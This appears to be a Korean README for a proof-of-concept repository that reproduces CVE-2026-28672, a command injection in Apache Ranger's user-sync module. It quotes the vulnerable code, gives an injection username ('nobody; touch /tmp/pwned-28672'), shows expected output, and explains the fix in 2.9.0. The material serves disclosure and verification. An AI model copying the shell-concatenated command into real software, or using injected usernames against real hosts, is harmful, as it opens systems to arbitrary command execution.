
Apache Ranger UnixUserGroupBuilder OS 명령 주입(CVE-2026-28672) PoC 재현 도구로, 취약점을 시연하고 수정 사항을 검증합니다.
UnixUserGroupBuilder OS 명령 주입Apache Ranger의 user-sync(unixusersync) 모듈에 존재하는 OS 명령 주입에 대한 실행 가능한 개념 증명(PoC) 재현 코드입니다.
동기화되는 각 사용자의 그룹을 열거하는 동안 UnixUserGroupBuilder는 셸을 통해 id 명령을 실행하며, 명령줄에 username을 연결합니다:
// ugsync/src/main/java/org/apache/ranger/unixusersync/process/UnixUserGroupBuilder.java (Ranger <= 2.8.0)
Process process = Runtime.getRuntime().exec(new String[]{"bash", "-c", "id -G " + userName});
사용자 이름은 구성된 user-sync 소스(LDAP/AD 또는 파일)에서 비롯되므로 공격자의 영향을 받을 수 있습니다. 셸 메타문자를 포함하는 사용자 이름(예: alice; touch /tmp/pwned)은 OS 명령으로 실행됩니다 (CWE-77, 명령에 사용되는 특수 요소의 부적절한 중화).
mvn -q -DskipTests package
docker compose up --build
# or, without Docker (needs bash/id/touch on PATH):
java -jar target/cve-2026-28672.jar
취약한 코드 경로에서의 예상 출력:
[1] Benign username 'nobody':
id -G nobody -> 65534
[2] Malicious username 'nobody; touch /tmp/pwned-28672' (vulnerable <= 2.8.0):
injected command executed? marker /tmp/pwned-28672 exists = true
[3] Same malicious username through the 2.9.0 FIX (id run directly, no shell):
id -G 'nobody; touch /tmp/pwned-28672' -> null
injected command executed? marker exists = false
>>> PROVEN: ... OS command injection (CWE-77): true
Apache Ranger 2.9.0은 id를 인자 벡터로 직접 실행하므로, 사용자 이름은 단일 리터럴 인자가 되며 셸에 의해 해석되지 않습니다:
// Ranger 2.9.0
Process process = Runtime.getRuntime().exec(new String[] {"id", "-G", userName});
이 저장소의 UnixUserGroupBuilderVuln.java에는 두 형태 모두 원문 그대로 포함되어 있으며, 업스트림 소스를 인용합니다.
이 저장소는 교육 및 방어 목적으로 공개되었습니다: Apache Ranger 사용자가 취약점을 이해하고, 자신이 영향을 받는지 확인하며, 업그레이드가 이를 해결하는지 확인하는 데 도움을 주기 위함입니다. 페이로드는 무해합니다(/tmp 아래에 마커 파일을 생성합니다). 본인이 소유하거나 운영하지 않는 시스템에 이 자료를 사용하지 마십시오.
| 속성 | 값 |
|---|
| 프로젝트 | Apache Ranger — org.apache.ranger.unixusersync (user-sync) |
| 클래스 | CWE-77 명령에 사용되는 특수 요소의 부적절한 중화('Command Injection') |
| 공격 벡터 | user-sync 소스가 제공하는 셸 메타문자를 포함한 사용자 이름 |
| 영향 | Ranger user-sync 호스트에서의 임의 OS 명령 실행 |
| 영향을 받는 버전 | 0.6부터 2.8까지 |
| 수정된 버전 | 2.9.0 |
| 권고 | lists.apache.org 스레드 · CVE-2026-28672 |
| 크레딧 | Andrea Cosentino |